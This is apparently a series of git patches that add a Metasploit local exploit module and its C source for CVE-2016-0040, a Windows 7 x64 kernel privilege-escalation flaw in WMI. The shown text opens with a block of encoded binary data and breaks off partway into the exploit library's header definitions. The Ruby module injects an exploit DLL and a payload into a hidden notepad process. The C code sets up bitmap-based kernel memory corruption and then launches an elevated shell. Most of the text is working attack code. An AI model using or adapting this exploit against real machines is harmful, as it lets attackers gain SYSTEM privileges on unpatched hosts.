z61BS0G!51T?zzp?47CnOF=*|+-k`N$wEkX{6 zB2Du$a(BmN$RUkDWP(KTrbq<$B~fonjeyhrMqMD!MdlzkkRPnIcK%jczE5ioA#??t zZf(Qk8fzdSdSV57B0?>$SSTD^n@wm3W6~PNq!sA4&G_bfxu@F-qcVPO;}0uj%_jG0 zz7Cs{2z3Q#z{`!UuMVytXTf^}nxiqRFfB7y7|9JK#6#6x}IhtHI6pecfzmj^= z7kLGYK>gfD!g?|aVLjuXO|K0{%2P1bXW%n+I(eql=K>oOWCQnY8+TJ=)4PR2(A)qu z?`2DfW2+y(7(P-`q$^5{ex)=&(iSxE?A9Bv_=|(3NlXkolNar%#q8< z?~you1w4nWM52IXcy3;WBu`+?1t-cNZPVw1Rwk$w%(+&*ZM5(`7)5)${-1>BI~XTp z7$?PJgjRx^O7rS-2lxzUluq>o+C_BEoIYp5Gw8qE<5#_a=Spz@S)ITC7eZ}b>FGRv zu7&kg0AJBG4>#c2K-O(ouc0rtuztY0NABhE@a!9E2z@a?0{l5*laa)siy5*Hhc#Z% z7Lm^>#u6jC{((5jbF?++pM@c^2scKi#~}>#+z9%EFV1g3aT#E1A!-fJX02h2Tf-Q) z?rkeGaB#f21CQ`}53o8o?o=P2Hz{nAkWhN5Kwsn4EbCyMSAhfwsV zIF({J#f22tQrt~3kK)f1%PHQXSVyrrZI_s0Z;Hbx`cn+17*BCI#T1IWDe`)2 ziZdzV{TO_yDd*EK7L17>9i+f}gR=0XxQLLTNEvJq!jCL8TKN7(#9kK=4raShxJMg~ z>eCyW&WJ&R+RR`rHh}%`rrYMIt$-vN5kqYj=v(9Qkzrv9bc~id47Pf`&_P2yz5F7A zV}oLoybvnFWyxY=LZ~$bA;*7~J|Ywq3Wmjoh0%Oy)KLF1L;d>nCWgtbv<9+2jnE)N z*k>mM{>Gs$xI{fZe8>ozwbH;pKGG*h0oIi;+-}&LD8XLK^>YH5~jeJq2FL*f!z~h zXw|<)uQm<{i;co|Pu}E)kkW8O92N~&Kx1Nufh84MDFb^bZ0sT*BhC&h3yb9pvC$#W zey|flMQ!!uM@ACFho0k5V*dyLW1?3a9uDk7A%@fd7_lI1JT}+);=xaXx`%`XCt$M@ zUuOkZMtl$mK!FXwlhAw|GCC$SAu`OD>oyz`p9SSXJ0fF3=7fa~i%f_M=SoF#oYpTW zE`DfiYz)Xlg5{yddka9!VX;17Sissj9xui*u(y1`&@U`#Uf4gvn}fzhhQVZ$PKpl;h?x`-8s-xo1VS<4y#X=0 zcr?-whD5Ok5aR$oYpwz}um5%AtwSwzXW?7?=z=$P0ZBx&X3>2=$2x4a2Jj+J;LW zJ9IQI?F25@M}`#wRdW8As3=edFd0MMn_q-XLLNBp(CB#)u`$t6pvt8AanSw(ZjOH~ zYCq0HrvjD*{EjpZAz1^UcaS?xz$qJUvUkEvFml4$W^2OPsc;y2Nm>#e2X-{v?oWCg zR5%RY^@}x9Uw)jd$HTmUrv=XMA4VkqJ>sNC1>FJX!*vitXe=xQ=&atVHwoF0cEA#Y zYoCNB8~F!C#DTQw8o{s9jd)?2_{z*{pFj6bzwi1Z>_y^p9yqqAn54n0JUou+EV z?038zc*J@1{h0rcF8h67w-54p{#VEI?ch;S`Y-M6P3@U|2+F(vOFF)wf5DQUNIuEW z1bzM`-G4opoVfbhUs9I%U$6gqUH=>82nr4f4VyVDJYx2o$f)QT#ay@}B+Q$in6!X2 z{@>qM|Nn{3;Zt+^4aqcwyYsT7W$kHT_I=_>%ObdRj|ME*V7FeZSC z{9XEq1W73#_)n(yqUnEz^q0~fr#qr2=~d}d{=NLgXxt`Na4_dY|CN0eXn zI)3sTS!e&>;u3nvX}RUJ-2W=_ZN%-y7tg=ErzWKGG5`NS{WA&ptip2}goeNw0E}l~ z?>QX&8o)kw2ql7F3OE|va`4LlpMzTqel6g-mI!SIe+uA&RJd*LVp2If(wBCX^dMs!Wq*d z_5)Gr0p^Z^HD zY5{HC;dh$AF9!4grv<+h&C0?*jN8INXMvfH%Q)+95!90FymQIi-N(8HAi5JOEHj z{TO3e&~*rp2Q-wDwiyBT@`9g+gYw-0)4<{OX95oMhB*#?U%)9tU`+u3RKWA#a2qhr z8cNcK13nr?WCbQ3lsE!(0McW83l8_U9?;Pb&VfO=6W~Q~xULGoxG|*6c)+n^NqQNe zhWa^#PuO@|A_3QpgLXjP6u_naus(o)Ibe(NP!9M-fbrn){KfbaI9yjb;J67SJOFSl zxOk8W#?Xn77yJsq9`Nbk7yKCKfy4d9yE9j*AHSsY@MKaiMu%@m8YjREcoa*8yqSQa zsia`mAcQ*sP6Jl}emUR*aJXL!0k=|rDqscmR|48hhxG!|+X7CTLG(=yxE)*t zglhq9l}8FgFZz55~Fx&|oGh-v}@X9BzXe&@de4Dx|RlJOnNf{D%Q=fm@yl`V81H zg5-?^JOmDp-C@8xG#ujx>c@Cx4w1<`)*7w{VaE(V9|QUd-C4wrKc&^C_vF@6ST3o?fvSw`={Nx=UBuzv!qZ;;mmFcBPX z8^#ylv}pqL5>PUal!GyPKHTdeuL5v8I6UqpfcL@Sd%6bDB?;0)8VTV31<*F|V=M=U z$E9)++@}`9ngHSUfD^zWkWV1sE^ws~t^)iF?hg3T63`iN%fVj(s0D}h2jdeZ)C>M9 zz_ClI`~f$D!*bXRIAa+Jmjjx9N5X}Ge}KdNtpv1MPWoaC*pK=>03*P0;{v#g`i0-a zJL8jKzXjSH3fOBE8DB8%B9k?c9>Rryvb8YYd*I#yxNIFlJ0W~I;K}uH9|u21%y| zs9=o(zY*X;a0>7r26RdzeZlBK{TOd#Amk2dDgj4l!kPpAP{38-aNpMgZpb2XO9gbz zCiO}H{lMWgfq<3Zu+C$&&mpoB1C9lU(`U2q+z_;Mmg1;WHYavO~1F#qz)}InU>mr0QA&o7d3S2q(G4?8k zIgkPOM8K^-!MKAwQvnC<1v!9!Fd(}R#t-~bz;E^w|5U(>2SCRlyaMpj&v4Eb%B%nk zK8WQDaszAthwn`v0R0X@T@a434%|ub5B?R_io?)0@EZXpfx|Lf2>2^FJidnkTa>{* zB*;w!m<_HT!rhM{ly{tze+|(51etemd=K3Lhs(j}cM{eJ$cynOa9Ae$0pm`QvCuzz zfzM=IJ_~aJ(qkNW4#oofg8_Tp1w8}5JK(S2@c14E+<6b~^$?D6`F#?O@ew%OhR1-f zG@wh6MhiIg0cj`3z2I;;`vDI>1igVY7$Y9T^B(y1&rhs`u&_6w3X z67Vj#!;oGBxb!8_pXGqeUnI>`z!|S#jzAhYU;{YZN6WwA^8z>#tg+#M$>8u@z<8bd zD*;`!BwP!);|pfgYXI%cVSa$$9&n-s%ysZ90Q*}CkQn?jK!0#$Fdy-ma(rGK zejJuVd?p{21~1Rh$MRKA(#H81WfY?8k`D#9=>1d|nazG2%0T z*pCsP$HRV%_?#W~W5nm)upc8n+lBoY@fj@a$B54WVLwKErVaZs;`1@sk1>(@x$`j8 z52Nybum2+@0D1xa2B&P=eb6TekbEWF%m~&8h{NBbSp-w<%WE*37!@hT-+=}ryQgz6 zH;JENO)LOP@HR2L`ZB*T+GaP*N~W~fkAOmZu5FMi@_QkF%!PkJyE|lC`v3I z93Pty7mrQHw6qTYL1}$DaQPr-Tv$i~92H2S971B@8|F|;Sg7uMg>kw_{pg{IkQJXT z@C%z47AcOze?6Up;EUYz;QO4h&fRXhD-?KmYA+gSEZ}dOVZ2JE7B{|g&CrZl#J92RfamFB%?H= zETcT5BBL@xlTnqS&8W{nnZis_rhTS3(5(bT^v#rI24>1L!!s3`iJ8jGTIg3qzm!x~7OVfSRW$A(G^7Qa@d471lB0n)-nV+1WlAoHd%2(%?6=ZDD;ODiRinitLNTMJ`2>B99^@f%^dHKr)P%8pf&| z#;FR%NC@NO0%PL~;}Q;Ik__XahOsDzaj1eZ5Q6+&K=!^M_i&JTGRRwrs*}~J zYPGslU9PTFSE=jO!d&}Ymt2or-`v35@Z7}Q!Syl~Ri&zORi&y*Rj(4J*{8Xrd8GNK1*V0kC8i~(rKYLV zO4G_gE2}^wg`kZtpozYqh2iOm>B;G-Fq2EuHAUJYR4ghM7fXtz#j;{~v7(sFffCUF ziee4uK9a${3|_ZE>%}UGN(wqJS1D9VRfKGqf-(L@*;HFdJkr6BMwTq`-Pol3oU@i6&i}j$l0zXGk)n8L|v{ zh9W}=tBVR&mNHmXG_ax|SWU#Rl1O0{k;4k2gw;a@D@Pfu8X8zJ5UdtrSSh5iO2}b_ zP{Qhp5oWI6I2 zMUFBjB}bK0l2evbk)z4c<{-65Emlj^QngGiS1Z&?b&6W0E>V}ME7TgbR*iB+x#C<& zt~6JcE6-KrDsxkERk@^CWrFJXxMRPm!n0OUYB^mE@J>Rpe>% zw0S6BlrPSg 'Windows WMI Recieve Notification Exploit', + 'Description' => %q{ + This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. + This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'smmrootkit', # crash code + 'de7ec7ed', # exploit code + 'de7ec7ed', # msf module + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + }, + 'Targets' => [ + [ 'Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2016-0040'], + ['MSB', 'MS16-014'], + ['URL', 'FIXME: MY REPO'], + ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], + ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] + ], + 'DisclosureDate' => 'December 4 2015', + 'DefaultTarget' => 0 + })) + end + + def check + # Windows 7 SP0/SP1 (64-bit) + # Windows 7 SP0/SP1 (64-bit) + + if sysinfo['OS'] !~ /windows/i + return Exploit::CheckCode::Unknown + end + + if sysinfo['Architecture'] =~ /(wow|x)64/i + arch = ARCH_X64 + end + + file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' + major, minor, build, revision, branch = file_version(file_path) + vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + return Exploit::CheckCode::Safe if build > 7601 + + return Exploit::CheckCode::Appears + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + check_result = check + if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') + end + + if sysinfo['Architecture'] == ARCH_X64 + if session.arch == ARCH_X86 + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + end + end + + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Reader Sandbox won't allow to create a new process: + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'cve-2016-0040.x64.dll') + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + + print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") + end + +end \ No newline at end of file From e4afdcf1a5aa91732ec1e517af95d757dffe6a19 Mon Sep 17 00:00:00 2001 From: "Kirk R. Swidowski" Date: Thu, 3 Aug 2017 19:27:01 -0400 Subject: [PATCH 02/16] fixed warnings. --- .../windows/local/ms16_014_wmi_recv_notif.rb | 243 +++++++++--------- 1 file changed, 122 insertions(+), 121 deletions(-) mode change 100755 => 100644 modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb diff --git a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb old mode 100755 new mode 100644 index ac6e25aed7..702df40137 --- a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb +++ b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb @@ -1,121 +1,122 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core/post/windows/reflective_dll_injection' -class MetasploitModule < Msf::Exploit::Local - Rank = NormalRanking - - include Msf::Post::File - include Msf::Post::Windows::Priv - include Msf::Post::Windows::Process - include Msf::Post::Windows::FileInfo - include Msf::Post::Windows::ReflectiveDLLInjection - - def initialize(info={}) - super(update_info(info, { - 'Name' => 'Windows WMI Recieve Notification Exploit', - 'Description' => %q{ - This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. - This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'smmrootkit', # crash code - 'de7ec7ed', # exploit code - 'de7ec7ed', # msf module - ], - 'Arch' => [ ARCH_X64 ], - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => { - 'EXITFUNC' => 'thread', - }, - 'Targets' => [ - [ 'Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 } ] - ], - 'Payload' => { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => [ - ['CVE', '2016-0040'], - ['MSB', 'MS16-014'], - ['URL', 'FIXME: MY REPO'], - ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], - ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] - ], - 'DisclosureDate' => 'December 4 2015', - 'DefaultTarget' => 0 - })) - end - - def check - # Windows 7 SP0/SP1 (64-bit) - # Windows 7 SP0/SP1 (64-bit) - - if sysinfo['OS'] !~ /windows/i - return Exploit::CheckCode::Unknown - end - - if sysinfo['Architecture'] =~ /(wow|x)64/i - arch = ARCH_X64 - end - - file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' - major, minor, build, revision, branch = file_version(file_path) - vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") - - return Exploit::CheckCode::Safe if build > 7601 - - return Exploit::CheckCode::Appears - end - - def exploit - if is_system? - fail_with(Failure::None, 'Session is already elevated') - end - - check_result = check - if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown - fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') - end - - if sysinfo['Architecture'] == ARCH_X64 - if session.arch == ARCH_X86 - fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') - end - end - - print_status('Launching notepad to host the exploit...') - notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) - begin - process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) - print_good("Process #{process.pid} launched.") - rescue Rex::Post::Meterpreter::RequestError - # Reader Sandbox won't allow to create a new process: - # stdapi_sys_process_execute: Operation failed: Access is denied. - print_status('Operation failed. Trying to elevate the current process...') - process = client.sys.process.open - end - - print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'cve-2016-0040.x64.dll') - library_path = ::File.expand_path(library_path) - - print_status("Injecting exploit into #{process.pid}...") - exploit_mem, offset = inject_dll_into_process(process, library_path) - - print_status("Exploit injected. Injecting payload into #{process.pid}...") - payload_mem = inject_into_process(process, payload.encoded) - - # invoke the exploit, passing in the address of the payload that - # we want invoked on successful exploitation. - print_status('Payload injected. Executing exploit...') - process.thread.create(exploit_mem + offset, payload_mem) - - print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") - end - -end \ No newline at end of file +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/windows/reflective_dll_injection' +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows WMI Recieve Notification Exploit', + 'Description' => %q{ + This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. + This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'smmrootkit', # crash code + 'de7ec7ed', # exploit code + 'de7ec7ed', # msf module + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + }, + 'Targets' => [ + [ 'Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2016-0040'], + ['MSB', 'MS16-014'], + ['URL', 'FIXME: MY REPO'], + ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], + ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] + ], + 'DisclosureDate' => 'Dec 4 2015', + 'DefaultTarget' => 0 + })) + end + + def check + # Windows 7 SP0/SP1 (64-bit) + # Windows 7 SP0/SP1 (64-bit) + + if sysinfo['OS'] !~ /windows/i + return Exploit::CheckCode::Unknown + end + + if sysinfo['Architecture'] =~ /(wow|x)64/i + arch = ARCH_X64 + end + + file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' + major, minor, build, revision, branch = file_version(file_path) + vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + return Exploit::CheckCode::Safe if build > 7601 + + return Exploit::CheckCode::Appears + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + check_result = check + if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') + end + + if sysinfo['Architecture'] == ARCH_X64 + if session.arch == ARCH_X86 + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + end + end + + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Reader Sandbox won't allow to create a new process: + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'cve-2016-0040.x64.dll') + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + + print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") + end + +end + From e8473ab92c3c00c1e63cbf179c63a56c09ef22ca Mon Sep 17 00:00:00 2001 From: "Kirk R. Swidowski" Date: Thu, 3 Aug 2017 19:48:25 -0400 Subject: [PATCH 03/16] fixed reference url. --- modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb index 702df40137..acfb4a415d 100644 --- a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb +++ b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Local 'References' => [ ['CVE', '2016-0040'], ['MSB', 'MS16-014'], - ['URL', 'FIXME: MY REPO'], + ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'], ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] ], @@ -53,7 +53,6 @@ class MetasploitModule < Msf::Exploit::Local def check # Windows 7 SP0/SP1 (64-bit) - # Windows 7 SP0/SP1 (64-bit) if sysinfo['OS'] !~ /windows/i return Exploit::CheckCode::Unknown From cad266d4691797220877ba50529a002c264e1f17 Mon Sep 17 00:00:00 2001 From: "Kirk R. Swidowski" Date: Fri, 11 Aug 2017 15:54:01 -0400 Subject: [PATCH 04/16] added source code for CVE-2016-0040 --- .../CVE-2016-0040/Application/Application.c | 18 + .../Application/Application.vcxproj | 92 ++++ data/exploits/CVE-2016-0040/CVE-2016-0040.sln | 48 ++ data/exploits/CVE-2016-0040/Library/Library.c | 389 +++++++++++++ data/exploits/CVE-2016-0040/Library/Library.h | 8 + .../CVE-2016-0040/Library/Library.vcxproj | 87 +++ .../CVE-2016-0040/Metasploit/Metasploit.c | 519 ++++++++++++++++++ .../CVE-2016-0040/Metasploit/Metasploit.h | 214 ++++++++ .../Metasploit/Metasploit.vcxproj | 103 ++++ .../CVE-2016-0040/Metasploit/inject.exe | Bin 0 -> 75264 bytes data/exploits/CVE-2016-0040/Test.py | 59 ++ data/exploits/CVE-2016-0040/requirements.txt | 2 + 12 files changed, 1539 insertions(+) create mode 100644 data/exploits/CVE-2016-0040/Application/Application.c create mode 100644 data/exploits/CVE-2016-0040/Application/Application.vcxproj create mode 100644 data/exploits/CVE-2016-0040/CVE-2016-0040.sln create mode 100644 data/exploits/CVE-2016-0040/Library/Library.c create mode 100644 data/exploits/CVE-2016-0040/Library/Library.h create mode 100644 data/exploits/CVE-2016-0040/Library/Library.vcxproj create mode 100644 data/exploits/CVE-2016-0040/Metasploit/Metasploit.c create mode 100644 data/exploits/CVE-2016-0040/Metasploit/Metasploit.h create mode 100644 data/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj create mode 100644 data/exploits/CVE-2016-0040/Metasploit/inject.exe create mode 100644 data/exploits/CVE-2016-0040/Test.py create mode 100644 data/exploits/CVE-2016-0040/requirements.txt diff --git a/data/exploits/CVE-2016-0040/Application/Application.c b/data/exploits/CVE-2016-0040/Application/Application.c new file mode 100644 index 0000000000..a71c32d136 --- /dev/null +++ b/data/exploits/CVE-2016-0040/Application/Application.c @@ -0,0 +1,18 @@ +#include +#include + +#include + +INT main() { + + if (TriggerExploit() == FALSE) { + printf("[-] Exploitation Failed\n"); + return -1; + } + + printf("[+] Exploitation Completed\n"); + + system("cmd.exe"); + + return 0; +} diff --git a/data/exploits/CVE-2016-0040/Application/Application.vcxproj b/data/exploits/CVE-2016-0040/Application/Application.vcxproj new file mode 100644 index 0000000000..6a47fb1ee8 --- /dev/null +++ b/data/exploits/CVE-2016-0040/Application/Application.vcxproj @@ -0,0 +1,92 @@ + + + + + Debug + x64 + + + Release + x64 + + + + + + + 15.0 + {81D011C1-F734-44D1-BE48-B16D643C99A7} + Win32Proj + Application + 10.0.15063.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + false + + + true + + + + Level3 + + + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) + MultiThreaded + + + Console + true + true + $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) + + + + + + + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) + MultiThreadedDebug + + + Console + $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2016-0040/CVE-2016-0040.sln b/data/exploits/CVE-2016-0040/CVE-2016-0040.sln new file mode 100644 index 0000000000..f7b585e8a4 --- /dev/null +++ b/data/exploits/CVE-2016-0040/CVE-2016-0040.sln @@ -0,0 +1,48 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26430.12 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Application", "Application\Application.vcxproj", "{81D011C1-F734-44D1-BE48-B16D643C99A7}" + ProjectSection(ProjectDependencies) = postProject + {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Metasploit", "Metasploit\Metasploit.vcxproj", "{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}" + ProjectSection(ProjectDependencies) = postProject + {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Library", "Library\Library.vcxproj", "{2B0E925B-9653-42D7-84EF-E47DD89DED3D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|Any CPU.ActiveCfg = Debug|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.ActiveCfg = Debug|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.Build.0 = Debug|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|Any CPU.ActiveCfg = Release|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.ActiveCfg = Release|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.Build.0 = Release|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|Any CPU.ActiveCfg = Debug|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.ActiveCfg = Debug|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.Build.0 = Debug|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|Any CPU.ActiveCfg = Release|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.ActiveCfg = Release|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.Build.0 = Release|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|Any CPU.ActiveCfg = Debug|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.ActiveCfg = Debug|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.Build.0 = Debug|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|Any CPU.ActiveCfg = Release|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.ActiveCfg = Release|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/data/exploits/CVE-2016-0040/Library/Library.c b/data/exploits/CVE-2016-0040/Library/Library.c new file mode 100644 index 0000000000..336b8937cb --- /dev/null +++ b/data/exploits/CVE-2016-0040/Library/Library.c @@ -0,0 +1,389 @@ +#include +#include +#include +#include + +#include "Library.h" + +#define BITS_PER_BYTE 8 + +#define TRIGGER_VULNERABILITY_RETRIES 1024 + +#define WMI_RECEIVE_NOTIFICATIONS_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS) + +#define WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD 2 +#define WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT 20 + +#define BITMAP_SIZE (BITMAP_WIDTH * BITMAP_HEIGHT * (BITMAP_BIT_COUNT / BITS_PER_BYTE)) +#define BITMAP_WIDTH 0x64 +#define BITMAP_HEIGHT 0x64 +#define BITMAP_PLANES 1 +#define BITMAP_BIT_COUNT 32 + +#define BITMAP_COUNT 4096 +#define BITMAP_MANAGER_INDEX 2048 +#define BITMAP_WORKER_INDEX 3072 + +#define IMAGE_BASE_LIST_SIZE 0x1000 +#define IMAGE_BASE_KERNEL_INDEX 0 + +#define PAGE_FRAME_NUMBER_COUNT 1024 + +#define BITMAP_STRUCTURE_CHECK_OFFSET 0x48 +#define BITMAP_STRUCTURE_PVSCAN0_OFFSET 0x50 +#define BITMAP_STRUCTURE_CORRUPTION_OFFSET 0x80 +#define BITMAP_STRUCTURE_CORRUPTION_VALUE_0 0x1000000000006 +#define BITMAP_STRUCTURE_CORRUPTION_VALUE_1 0x238 + +#define RETURN_BUFFER_SIZE 1000 + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0 +} PROCESSINFOCLASS; + 